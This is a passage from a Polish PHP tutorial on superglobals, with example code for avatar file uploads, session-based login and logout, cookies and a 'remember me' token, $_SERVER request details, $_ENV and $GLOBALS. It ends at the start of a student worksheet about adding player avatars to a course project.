            $errors&#91;] = "Nieprawidłowy typ pliku (dozwolone: JPG, PNG, GIF)";
        }
        
        // Dodatkowa walidacja przez rozszerzenie
        $file_extension = strtolower(pathinfo($file&#91;'name'], PATHINFO_EXTENSION));
        $allowed_extensions = &#91;'jpg', 'jpeg', 'png', 'gif'];
        if (!in_array($file_extension, $allowed_extensions)) {
            $errors&#91;] = "Nieprawidłowe rozszerzenie pliku";
        }
        
        // Jeśli brak błędów - zapisujemy plik
        if (empty($errors)) {
            
            // Generujemy unikalną nazwę pliku
            $new_filename = uniqid('avatar_', true) . '.' . $file_extension;
            $upload_dir = 'uploads/avatars/';
            
            // Tworzymy katalog jeśli nie istnieje
            if (!is_dir($upload_dir)) {
                mkdir($upload_dir, 0755, true);
            }
            
            $destination = $upload_dir . $new_filename;
            
            // Przenosimy plik z lokalizacji tymczasowej
            if (move_uploaded_file($file&#91;'tmp_name'], $destination)) {
                $success = true;
                $uploaded_file_path = $destination;
                
                // Możesz zapisać ścieżkę do bazy danych
                // UPDATE users SET avatar = ? WHERE id = ?
                
            } else {
                $errors&#91;] = "Nie udało się zapisać pliku";
            }
        }
    }
}
?&gt;

&lt;!DOCTYPE html&gt;
&lt;html lang="pl"&gt;
&lt;head&gt;
    &lt;meta charset="UTF-8"&gt;
    &lt;title&gt;Upload avatara&lt;/title&gt;
    &lt;style&gt;
        body {
            font-family: Arial, sans-serif;
            max-width: 600px;
            margin: 50px auto;
            padding: 20px;
        }
        .upload-form {
            background: #f4f4f4;
            padding: 30px;
            border-radius: 10px;
        }
        input&#91;type="file"] {
            margin: 20px 0;
            padding: 10px;
            border: 2px dashed #ddd;
            border-radius: 5px;
            width: 100%;
            cursor: pointer;
        }
        button {
            padding: 12px 30px;
            background: #667eea;
            color: white;
            border: none;
            border-radius: 5px;
            cursor: pointer;
            font-size: 16px;
        }
        button:hover {
            background: #764ba2;
        }
        .error {
            background: #f8d7da;
            color: #721c24;
            padding: 15px;
            border-radius: 5px;
            margin-bottom: 20px;
        }
        .success {
            background: #d4edda;
            color: #155724;
            padding: 15px;
            border-radius: 5px;
            margin-bottom: 20px;
        }
        .preview {
            margin-top: 20px;
            text-align: center;
        }
        .preview img {
            max-width: 300px;
            border-radius: 10px;
            box-shadow: 0 2px 10px rgba(0,0,0,0.1);
        }
    &lt;/style&gt;
&lt;/head&gt;
&lt;body&gt;

&lt;h1&gt;Upload zdjęcia profilowego&lt;/h1&gt;

&lt;?php if (!empty($errors)): ?&gt;
    &lt;div class="error"&gt;
        &lt;strong&gt;Błędy:&lt;/strong&gt;
        &lt;ul&gt;
            &lt;?php foreach ($errors as $error): ?&gt;
                &lt;li&gt;&lt;?= htmlspecialchars($error) ?&gt;&lt;/li&gt;
            &lt;?php endforeach; ?&gt;
        &lt;/ul&gt;
    &lt;/div&gt;
&lt;?php endif; ?&gt;

&lt;?php if ($success): ?&gt;
    &lt;div class="success"&gt;
        Plik został przesłany pomyślnie!
        &lt;div class="preview"&gt;
            &lt;img src="&lt;?= htmlspecialchars($uploaded_file_path) ?&gt;" alt="Avatar"&gt;
        &lt;/div&gt;
    &lt;/div&gt;
&lt;?php endif; ?&gt;

&lt;form method="POST" enctype="multipart/form-data" class="upload-form"&gt;
    &lt;p&gt;Wybierz zdjęcie (max 2MB, JPG/PNG/GIF):&lt;/p&gt;
    &lt;input type="file" name="avatar" accept="image/*" required&gt;
    
    &lt;button type="submit"&gt;Prześlij plik&lt;/button&gt;
&lt;/form&gt;

&lt;p&gt;&lt;small&gt;Informacje o pliku:&lt;/small&gt;&lt;/p&gt;
&lt;?php if (isset($_FILES&#91;'avatar'])): ?&gt;
    &lt;pre&gt;&lt;?php print_r($_FILES&#91;'avatar']); ?&gt;&lt;/pre&gt;
&lt;?php endif; ?&gt;

&lt;/body&gt;
&lt;/html&gt;</code></pre>



<p class="wp-block-paragraph"><strong>WAŻNE:</strong>&nbsp;Formularz uploadu MUSI mieć&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">enctype="multipart/form-data"</code>!</p>



<h3 class="wp-block-heading">Kody błędów $_FILES</h3>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Kod</th><th>Stała</th><th>Znaczenie</th></tr></thead><tbody><tr><td>0</td><td>UPLOAD_ERR_OK</td><td>Sukces</td></tr><tr><td>1</td><td>UPLOAD_ERR_INI_SIZE</td><td>Plik większy niż upload_max_filesize w php.ini</td></tr><tr><td>2</td><td>UPLOAD_ERR_FORM_SIZE</td><td>Plik większy niż MAX_FILE_SIZE w formularzu</td></tr><tr><td>3</td><td>UPLOAD_ERR_PARTIAL</td><td>Plik został przesłany tylko częściowo</td></tr><tr><td>4</td><td>UPLOAD_ERR_NO_FILE</td><td>Nie przesłano pliku</td></tr><tr><td>6</td><td>UPLOAD_ERR_NO_TMP_DIR</td><td>Brak folderu tymczasowego</td></tr><tr><td>7</td><td>UPLOAD_ERR_CANT_WRITE</td><td>Nie można zapisać pliku na dysku</td></tr><tr><td>8</td><td>UPLOAD_ERR_EXTENSION</td><td>Rozszerzenie PHP zablokowało upload</td></tr></tbody></table></figure>



<h2 class="wp-block-heading">5. $_SESSION &#8211; Przechowywanie danych użytkownika</h2>



<p class="wp-block-paragraph">Sesje pozwalają przechowywać dane między różnymi stronami dla konkretnego użytkownika. Informacje dodatkowe w temacie <a href="https://kamakaczmarek.net/php-obsluga-cookies-i-sesje/" type="link" id="https://kamakaczmarek.net/php-obsluga-cookies-i-sesje/">PHP – obsługa cookies i sesje</a></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
// ZAWSZE na początku pliku!
session_start();

// Zapisywanie danych w sesji
$_SESSION&#91;'user_id'] = 123;
$_SESSION&#91;'username'] = 'ProGamer';
$_SESSION&#91;'logged_in'] = true;

// Odczytywanie danych z sesji
$user_id = $_SESSION&#91;'user_id'] ?? 0;
$username = $_SESSION&#91;'username'] ?? 'Gość';

// Sprawdzanie czy klucz istnieje
if (isset($_SESSION&#91;'logged_in'])) {
    echo "Jesteś zalogowany jako: {$username}";
} else {
    echo "Nie jesteś zalogowany";
}

// Usuwanie konkretnego klucza
unset($_SESSION&#91;'username']);

// Niszczenie całej sesji
session_destroy();
?&gt;</code></pre>



<h3 class="wp-block-heading">System logowania z sesją</h3>



<p class="wp-block-paragraph"><strong>Plik: logowanie.php</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
session_start();

// Jeśli użytkownik już zalogowany - przekieruj
if (isset($_SESSION&#91;'logged_in']) &amp;&amp; $_SESSION&#91;'logged_in'] === true) {
    header("Location: panel.php");
    exit;
}

mysqli_report(MYSQLI_REPORT_OFF);
$db = @new mysqli('localhost', 'root', '', 'gaming_hub');
$db-&gt;set_charset('utf8mb4');

$errors = &#91;];

if ($_SERVER&#91;'REQUEST_METHOD'] === 'POST') {
    
    $username = trim($_POST&#91;'username'] ?? '');
    $password = $_POST&#91;'password'] ?? '';
    
    if (empty($username)) {
        $errors&#91;] = "Username jest wymagany";
    }
    
    if (empty($password)) {
        $errors&#91;] = "Hasło jest wymagane";
    }
    
    if (empty($errors)) {
        
        $stmt = $db-&gt;prepare("SELECT id, username, email, password FROM users WHERE username = ?");
        $stmt-&gt;bind_param("s", $username);
        $stmt-&gt;execute();
        $wynik = $stmt-&gt;get_result();
        $user = $wynik-&gt;fetch_assoc();
        $stmt-&gt;close();
        
        if ($user &amp;&amp; password_verify($password, $user&#91;'password'])) {
            
            // Zapisz dane w sesji
            $_SESSION&#91;'user_id'] = $user&#91;'id'];
            $_SESSION&#91;'username'] = $user&#91;'username'];
            $_SESSION&#91;'email'] = $user&#91;'email'];
            $_SESSION&#91;'logged_in'] = true;
            $_SESSION&#91;'login_time'] = time();
            
            $db-&gt;close();
            
            header("Location: panel.php");
            exit;
            
        } else {
            $errors&#91;] = "Nieprawidłowy username lub hasło";
        }
    }
}

$db-&gt;close();
?&gt;

&lt;!DOCTYPE html&gt;
&lt;html lang="pl"&gt;
&lt;head&gt;
    &lt;meta charset="UTF-8"&gt;
    &lt;title&gt;Logowanie&lt;/title&gt;
&lt;/head&gt;
&lt;body&gt;

&lt;h1&gt;Logowanie&lt;/h1&gt;

&lt;?php if (!empty($errors)): ?&gt;
    &lt;div style="background:#f8d7da; padding:15px; color:#721c24;"&gt;
        &lt;ul&gt;
            &lt;?php foreach ($errors as $error): ?&gt;
                &lt;li&gt;&lt;?= htmlspecialchars($error) ?&gt;&lt;/li&gt;
            &lt;?php endforeach; ?&gt;
        &lt;/ul&gt;
    &lt;/div&gt;
&lt;?php endif; ?&gt;

&lt;form method="POST"&gt;
    &lt;label&gt;Username:&lt;/label&gt;&lt;br&gt;
    &lt;input type="text" name="username" value="&lt;?= htmlspecialchars($_POST&#91;'username'] ?? '') ?&gt;" required&gt;&lt;br&gt;&lt;br&gt;
    
    &lt;label&gt;Hasło:&lt;/label&gt;&lt;br&gt;
    &lt;input type="password" name="password" required&gt;&lt;br&gt;&lt;br&gt;
    
    &lt;button type="submit"&gt;Zaloguj&lt;/button&gt;
&lt;/form&gt;

&lt;/body&gt;
&lt;/html&gt;</code></pre>



<p class="wp-block-paragraph"><strong>Plik: panel.php</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
session_start();

// Sprawdź czy użytkownik zalogowany
if (!isset($_SESSION&#91;'logged_in']) || $_SESSION&#91;'logged_in'] !== true) {
    header("Location: logowanie.php");
    exit;
}

$username = htmlspecialchars($_SESSION&#91;'username']);
$user_id = $_SESSION&#91;'user_id'];
$login_time = $_SESSION&#91;'login_time'];

$time_elapsed = time() - $login_time;
$minutes = floor($time_elapsed / 60);
?&gt;

&lt;!DOCTYPE html&gt;
&lt;html lang="pl"&gt;
&lt;head&gt;
    &lt;meta charset="UTF-8"&gt;
    &lt;title&gt;Panel użytkownika&lt;/title&gt;
&lt;/head&gt;
&lt;body&gt;

&lt;h1&gt;Witaj, &lt;?= $username ?&gt;!&lt;/h1&gt;

&lt;p&gt;Twoje ID: &lt;?= $user_id ?&gt;&lt;/p&gt;
&lt;p&gt;Zalogowany od: &lt;?= $minutes ?&gt; minut&lt;/p&gt;

&lt;p&gt;&lt;a href="wyloguj.php"&gt;Wyloguj się&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;Dane sesji:&lt;/h2&gt;
&lt;pre&gt;&lt;?php print_r($_SESSION); ?&gt;&lt;/pre&gt;

&lt;/body&gt;
&lt;/html&gt;</code></pre>



<p class="wp-block-paragraph"><strong>Plik: wyloguj.php</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
session_start();

// Usuń wszystkie dane sesji
$_SESSION = &#91;];

// Usuń cookie sesyjne
if (isset($_COOKIE&#91;session_name()])) {
    setcookie(session_name(), '', time() - 3600, '/');
}

// Zniszcz sesję
session_destroy();

// Przekieruj do logowania
header("Location: logowanie.php");
exit;
?&gt;</code></pre>



<h2 class="wp-block-heading">6. $_COOKIE &#8211; Przechowywanie danych w przeglądarce</h2>



<p class="wp-block-paragraph">Cookies to małe pliki tekstowe przechowywane w przeglądarce użytkownika.&nbsp;Więcej w temacie <a href="https://kamakaczmarek.net/php-obsluga-cookies-i-sesje/" type="link" id="https://kamakaczmarek.net/php-obsluga-cookies-i-sesje/">PHP – obsługa cookies i sesje</a></p>



<h3 class="wp-block-heading">Ustawianie cookies</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
// setcookie(nazwa, wartość, wygasa, ścieżka, domena, secure, httponly)

// Prosty cookie na 30 dni
setcookie('username', 'ProGamer', time() + (30 * 24 * 60 * 60));

// Bezpieczny cookie
setcookie('session_token', 'abc123xyz', &#91;
    'expires' =&gt; time() + 3600,     // 1 godzina
    'path' =&gt; '/',                   // Dostępny w całej domenie
    'domain' =&gt; '',                  // Aktualna domena
    'secure' =&gt; true,                // Tylko HTTPS
    'httponly' =&gt; true,              // Niedostępny dla JavaScript
    'samesite' =&gt; 'Strict'           // Ochrona CSRF
]);
?&gt;</code></pre>



<p class="wp-block-paragraph"><strong>UWAGA:</strong>&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">setcookie()</code>&nbsp;MUSI być wywołane PRZED jakimkolwiek output (echo, HTML)!</p>



<h3 class="wp-block-heading">Odczytywanie cookies</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
// Sprawdzamy czy cookie istnieje
if (isset($_COOKIE&#91;'username'])) {
    $username = htmlspecialchars($_COOKIE&#91;'username']);
    echo "Witaj ponownie, {$username}!";
} else {
    echo "Witaj po raz pierwszy!";
}

// Operator null coalescing
$theme = $_COOKIE&#91;'theme'] ?? 'light';
echo "Aktywny motyw: {$theme}";
?&gt;</code></pre>



<h3 class="wp-block-heading">Usuwanie cookies</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
// Ustaw datę wygaśnięcia w przeszłości
setcookie('username', '', time() - 3600);

// Lub
setcookie('username', '', 1);
?&gt;</code></pre>



<h3 class="wp-block-heading">&#8222;Zapamiętaj mnie&#8221; przy logowaniu</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
session_start();

// Sprawdź czy istnieje cookie "remember_me"
if (!isset($_SESSION&#91;'logged_in']) &amp;&amp; isset($_COOKIE&#91;'remember_token'])) {
    
    mysqli_report(MYSQLI_REPORT_OFF);
    $db = @new mysqli('localhost', 'root', '', 'gaming_hub');
    $db-&gt;set_charset('utf8mb4');
    
    $token = $_COOKIE&#91;'remember_token'];
    
    // Sprawdź token w bazie (w prawdziwej aplikacji przechowuj hash tokenu!)
    $stmt = $db-&gt;prepare("SELECT id, username, email FROM users WHERE remember_token = ?");
    $stmt-&gt;bind_param("s", $token);
    $stmt-&gt;execute();
    $wynik = $stmt-&gt;get_result();
    $user = $wynik-&gt;fetch_assoc();
    $stmt-&gt;close();
    $db-&gt;close();
    
    if ($user) {
        // Automatyczne logowanie
        $_SESSION&#91;'user_id'] = $user&#91;'id'];
        $_SESSION&#91;'username'] = $user&#91;'username'];
        $_SESSION&#91;'email'] = $user&#91;'email'];
        $_SESSION&#91;'logged_in'] = true;
    }
}

$errors = &#91;];

if ($_SERVER&#91;'REQUEST_METHOD'] === 'POST') {
    
    mysqli_report(MYSQLI_REPORT_OFF);
    $db = @new mysqli('localhost', 'root', '', 'gaming_hub');
    $db-&gt;set_charset('utf8mb4');
    
    $username = trim($_POST&#91;'username'] ?? '');
    $password = $_POST&#91;'password'] ?? '';
    $remember = isset($_POST&#91;'remember']) ? true : false;
    
    // Walidacja i sprawdzanie użytkownika...
    
    $stmt = $db-&gt;prepare("SELECT id, username, email, password FROM users WHERE username = ?");
    $stmt-&gt;bind_param("s", $username);
    $stmt-&gt;execute();
    $wynik = $stmt-&gt;get_result();
    $user = $wynik-&gt;fetch_assoc();
    $stmt-&gt;close();
    
    if ($user &amp;&amp; password_verify($password, $user&#91;'password'])) {
        
        // Zapisz w sesji
        $_SESSION&#91;'user_id'] = $user&#91;'id'];
        $_SESSION&#91;'username'] = $user&#91;'username'];
        $_SESSION&#91;'logged_in'] = true;
        
        // Jeśli zaznaczono "Zapamiętaj mnie"
        if ($remember) {
            $token = bin2hex(random_bytes(32)); // Generuj bezpieczny token
            
            // Zapisz token w bazie
            $stmt_token = $db-&gt;prepare("UPDATE users SET remember_token = ? WHERE id = ?");
            $stmt_token-&gt;bind_param("si", $token, $user&#91;'id']);
            $stmt_token-&gt;execute();
            $stmt_token-&gt;close();
            
            // Ustaw cookie na 30 dni
            setcookie('remember_token', $token, &#91;
                'expires' =&gt; time() + (30 * 24 * 60 * 60),
                'path' =&gt; '/',
                'secure' =&gt; true,
                'httponly' =&gt; true,
                'samesite' =&gt; 'Strict'
            ]);
        }
        
        $db-&gt;close();
        
        header("Location: panel.php");
        exit;
    } else {
        $errors&#91;] = "Nieprawidłowy username lub hasło";
    }
    
    $db-&gt;close();
}
?&gt;

&lt;!DOCTYPE html&gt;
&lt;html lang="pl"&gt;
&lt;head&gt;
    &lt;meta charset="UTF-8"&gt;
    &lt;title&gt;Logowanie&lt;/title&gt;
&lt;/head&gt;
&lt;body&gt;

&lt;h1&gt;Logowanie&lt;/h1&gt;

&lt;form method="POST"&gt;
    &lt;label&gt;Username:&lt;/label&gt;&lt;br&gt;
    &lt;input type="text" name="username" required&gt;&lt;br&gt;&lt;br&gt;
    
    &lt;label&gt;Hasło:&lt;/label&gt;&lt;br&gt;
    &lt;input type="password" name="password" required&gt;&lt;br&gt;&lt;br&gt;
    
    &lt;label&gt;
        &lt;input type="checkbox" name="remember"&gt;
        Zapamiętaj mnie (30 dni)
    &lt;/label&gt;&lt;br&gt;&lt;br&gt;
    
    &lt;button type="submit"&gt;Zaloguj&lt;/button&gt;
&lt;/form&gt;

&lt;/body&gt;
&lt;/html&gt;</code></pre>



<h2 class="wp-block-heading">7. $_SERVER &#8211; Informacje o serwerze i żądaniu</h2>



<p class="wp-block-paragraph"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$_SERVER</code>&nbsp;zawiera informacje o środowisku serwera, nagłówkach HTTP i żądaniu.</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
// Metoda HTTP
echo $_SERVER&#91;'REQUEST_METHOD']; // GET, POST, PUT, DELETE

// URL i ścieżki
echo $_SERVER&#91;'REQUEST_URI'];         // /profil.php?id=5
echo $_SERVER&#91;'PHP_SELF'];            // /profil.php
echo $_SERVER&#91;'SCRIPT_NAME'];         // /profil.php
echo $_SERVER&#91;'QUERY_STRING'];        // id=5&amp;sort=level

// Informacje o kliencie
echo $_SERVER&#91;'REMOTE_ADDR'];         // Adres IP użytkownika (np. 192.168.1.1)
echo $_SERVER&#91;'HTTP_USER_AGENT'];     // Przeglądarka (np. Mozilla/5.0...)
echo $_SERVER&#91;'HTTP_REFERER'];        // Poprzednia strona (skąd przyszedł)

// Informacje o serwerze
echo $_SERVER&#91;'SERVER_NAME'];         // localhost
echo $_SERVER&#91;'SERVER_ADDR'];         // 127.0.0.1
echo $_SERVER&#91;'SERVER_PORT'];         // 80 lub 443
echo $_SERVER&#91;'DOCUMENT_ROOT'];       // C:/xampp/htdocs

// HTTPS
echo $_SERVER&#91;'HTTPS'] ?? 'off';      // on jeśli HTTPS

// Nagłówki HTTP
echo $_SERVER&#91;'HTTP_ACCEPT'];         // Akceptowane typy treści
echo $_SERVER&#91;'HTTP_ACCEPT_LANGUAGE']; // Preferowany język
?&gt;</code></pre>



<h3 class="wp-block-heading">Wyświetlanie informacji o żądaniu</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
function getClientIP() {
    $ip = $_SERVER&#91;'REMOTE_ADDR'];
    
    // Sprawdź czy użyto proxy
    if (!empty($_SERVER&#91;'HTTP_CLIENT_IP'])) {
        $ip = $_SERVER&#91;'HTTP_CLIENT_IP'];
    } elseif (!empty($_SERVER&#91;'HTTP_X_FORWARDED_FOR'])) {
        $ip = $_SERVER&#91;'HTTP_X_FORWARDED_FOR'];
    }
    
    return $ip;
}

function getBrowser() {
    $user_agent = $_SERVER&#91;'HTTP_USER_AGENT'];
    
    if (strpos($user_agent, 'Firefox') !== false) {
        return 'Mozilla Firefox';
    } elseif (strpos($user_agent, 'Chrome') !== false) {
        return 'Google Chrome';
    } elseif (strpos($user_agent, 'Safari') !== false) {
        return 'Safari';
    } elseif (strpos($user_agent, 'Edge') !== false) {
        return 'Microsoft Edge';
    } else {
        return 'Nieznana przeglądarka';
    }
}
?&gt;

&lt;!DOCTYPE html&gt;
&lt;html lang="pl"&gt;
&lt;head&gt;
    &lt;meta charset="UTF-8"&gt;
    &lt;title&gt;Informacje o żądaniu&lt;/title&gt;
    &lt;style&gt;
        body {
            font-family: Arial, sans-serif;
            max-width: 800px;
            margin: 50px auto;
            padding: 20px;
        }
        table {
            width: 100%;
            border-collapse: collapse;
        }
        th, td {
            padding: 12px;
            border: 1px solid #ddd;
            text-align: left;
        }
        th {
            background: #667eea;
            color: white;
        }
        tr:hover {
            background: #f5f5f5;
        }
    &lt;/style&gt;
&lt;/head&gt;
&lt;body&gt;

&lt;h1&gt;Informacje o Twoim żądaniu&lt;/h1&gt;

&lt;table&gt;
    &lt;tr&gt;
        &lt;th&gt;Parametr&lt;/th&gt;
        &lt;th&gt;Wartość&lt;/th&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
        &lt;td&gt;&lt;strong&gt;Twój adres IP:&lt;/strong&gt;&lt;/td&gt;
        &lt;td&gt;&lt;?= htmlspecialchars(getClientIP()) ?&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
        &lt;td&gt;&lt;strong&gt;Przeglądarka:&lt;/strong&gt;&lt;/td&gt;
        &lt;td&gt;&lt;?= htmlspecialchars(getBrowser()) ?&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
        &lt;td&gt;&lt;strong&gt;User Agent:&lt;/strong&gt;&lt;/td&gt;
        &lt;td&gt;&lt;?= htmlspecialchars($_SERVER&#91;'HTTP_USER_AGENT']) ?&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
        &lt;td&gt;&lt;strong&gt;Metoda HTTP:&lt;/strong&gt;&lt;/td&gt;
        &lt;td&gt;&lt;?= htmlspecialchars($_SERVER&#91;'REQUEST_METHOD']) ?&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
        &lt;td&gt;&lt;strong&gt;Request URI:&lt;/strong&gt;&lt;/td&gt;
        &lt;td&gt;&lt;?= htmlspecialchars($_SERVER&#91;'REQUEST_URI']) ?&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
        &lt;td&gt;&lt;strong&gt;Query String:&lt;/strong&gt;&lt;/td&gt;
        &lt;td&gt;&lt;?= htmlspecialchars($_SERVER&#91;'QUERY_STRING'] ?? 'brak') ?&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
        &lt;td&gt;&lt;strong&gt;Protokół:&lt;/strong&gt;&lt;/td&gt;
        &lt;td&gt;&lt;?= htmlspecialchars($_SERVER&#91;'SERVER_PROTOCOL']) ?&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
        &lt;td&gt;&lt;strong&gt;HTTPS:&lt;/strong&gt;&lt;/td&gt;
        &lt;td&gt;&lt;?= isset($_SERVER&#91;'HTTPS']) &amp;&amp; $_SERVER&#91;'HTTPS'] === 'on' ? 'TAK' : 'NIE' ?&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
        &lt;td&gt;&lt;strong&gt;Serwer:&lt;/strong&gt;&lt;/td&gt;
        &lt;td&gt;&lt;?= htmlspecialchars($_SERVER&#91;'SERVER_NAME']) ?&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
        &lt;td&gt;&lt;strong&gt;Port:&lt;/strong&gt;&lt;/td&gt;
        &lt;td&gt;&lt;?= htmlspecialchars($_SERVER&#91;'SERVER_PORT']) ?&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
        &lt;td&gt;&lt;strong&gt;Document Root:&lt;/strong&gt;&lt;/td&gt;
        &lt;td&gt;&lt;?= htmlspecialchars($_SERVER&#91;'DOCUMENT_ROOT']) ?&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
        &lt;td&gt;&lt;strong&gt;Skrypt PHP:&lt;/strong&gt;&lt;/td&gt;
        &lt;td&gt;&lt;?= htmlspecialchars($_SERVER&#91;'SCRIPT_NAME']) ?&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
        &lt;td&gt;&lt;strong&gt;Referer (poprzednia strona):&lt;/strong&gt;&lt;/td&gt;
        &lt;td&gt;&lt;?= htmlspecialchars($_SERVER&#91;'HTTP_REFERER'] ?? 'brak') ?&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
        &lt;td&gt;&lt;strong&gt;Akceptowany język:&lt;/strong&gt;&lt;/td&gt;
        &lt;td&gt;&lt;?= htmlspecialchars($_SERVER&#91;'HTTP_ACCEPT_LANGUAGE'] ?? 'brak') ?&gt;&lt;/td&gt;
    &lt;/tr&gt;
&lt;/table&gt;

&lt;h2&gt;Wszystkie dane $_SERVER:&lt;/h2&gt;
&lt;pre&gt;&lt;?php print_r($_SERVER); ?&gt;&lt;/pre&gt;

&lt;/body&gt;
&lt;/html&gt;</code></pre>



<h2 class="wp-block-heading">$_ENV &#8211; Zmienne środowiskowe</h2>



<p class="wp-block-paragraph"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$_ENV</code>&nbsp;zawiera zmienne środowiskowe systemu operacyjnego. W PHP zwykle używane z plikami&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">.env</code>&nbsp;(przez biblioteki jak&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">vlucas/phpdotenv</code>).</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
// Odczytywanie zmiennej środowiskowej
$db_host = $_ENV&#91;'DB_HOST'] ?? 'localhost';
$db_user = $_ENV&#91;'DB_USER'] ?? 'root';
$db_pass = $_ENV&#91;'DB_PASSWORD'] ?? '';

// Lub za pomocą getenv()
$db_name = getenv('DB_NAME');

echo "Host: {$db_host}&lt;br&gt;";
echo "User: {$db_user}&lt;br&gt;";
?&gt;</code></pre>



<p class="wp-block-paragraph"><strong>Przykład pliku .env:</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">DB_HOST=localhost
DB_USER=root
DB_PASSWORD=secret123
DB_NAME=gaming_hub
APP_ENV=development</code></pre>



<h2 class="wp-block-heading">9. $GLOBALS &#8211; Dostęp do zmiennych globalnych</h2>



<p class="wp-block-paragraph"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$GLOBALS</code>&nbsp;to tablica zawierająca wszystkie zmienne globalne.</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
$username = "ProGamer";
$level = 50;

function displayInfo() {
    // Dostęp do zmiennych globalnych przez $GLOBALS
    echo "Username: {$GLOBALS&#91;'username']}&lt;br&gt;";
    echo "Level: {$GLOBALS&#91;'level']}&lt;br&gt;";
}

displayInfo();

// Wyświetl wszystkie zmienne globalne
echo "&lt;pre&gt;";
print_r($GLOBALS);
echo "&lt;/pre&gt;";
?&gt;</code></pre>



<p class="wp-block-paragraph"><strong>UWAGA:</strong>&nbsp;Używanie&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">$GLOBALS</code>&nbsp;jest&nbsp;<strong>niezalecane</strong>&nbsp;&#8211; lepiej przekazywać zmienne jako parametry funkcji.</p>



<p></p>



<h1 id="TaskQuest" class="wp-block-heading">TaskQuest 2.1 — avatar gracza</h1>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>KARTA PRACY</strong></summary>
<p class="wp-block-paragraph">Po Lekcji 19 TaskQuest zapisuje w bazie zadania, XP i serię dni. Gracze różnią się jednak tylko loginem i liczbami. Dziś każdy gracz dostanie <strong>avatar</strong>: obrazek, który sam wyśle ze swojego komputera. Gracz bez avatara zobaczy kółko z pierwszą literą imienia.</p>



<p class="wp-block-paragraph">Z tablicami <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_GET</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_POST</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_SESSION</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_COOKIE</code> już pracujesz. Wszystkie przenoszą <strong>tekst</strong>. Plik to coś innego: może mieć kilka megabajtów, może być czymkolwiek, a jego nazwę i typ podaje przeglądarka użytkownika. Dlatego PHP obsługuje pliki osobną tablicą superglobalną <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_FILES</code>. Tak jak pozostałe superglobalne, jest dostępna wszędzie, także wewnątrz funkcji, bez przekazywania jej w parametrze.</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">Lekcja 20 jest w tym kursie pomijana. Pracujesz na projekcie w stanie po Lekcji 19.</p>
</blockquote>



<h3 class="wp-block-heading">Cel lekcji</h3>



<p class="wp-block-paragraph">Nauczyć się:</p>



<ul class="wp-block-list">
<li>budować formularz wysyłający plik (<code class="prettyprint lang-sql" style="font-size: 0.85em;">enctype="multipart/form-data"</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;input type="file"&gt;</code>),</li>



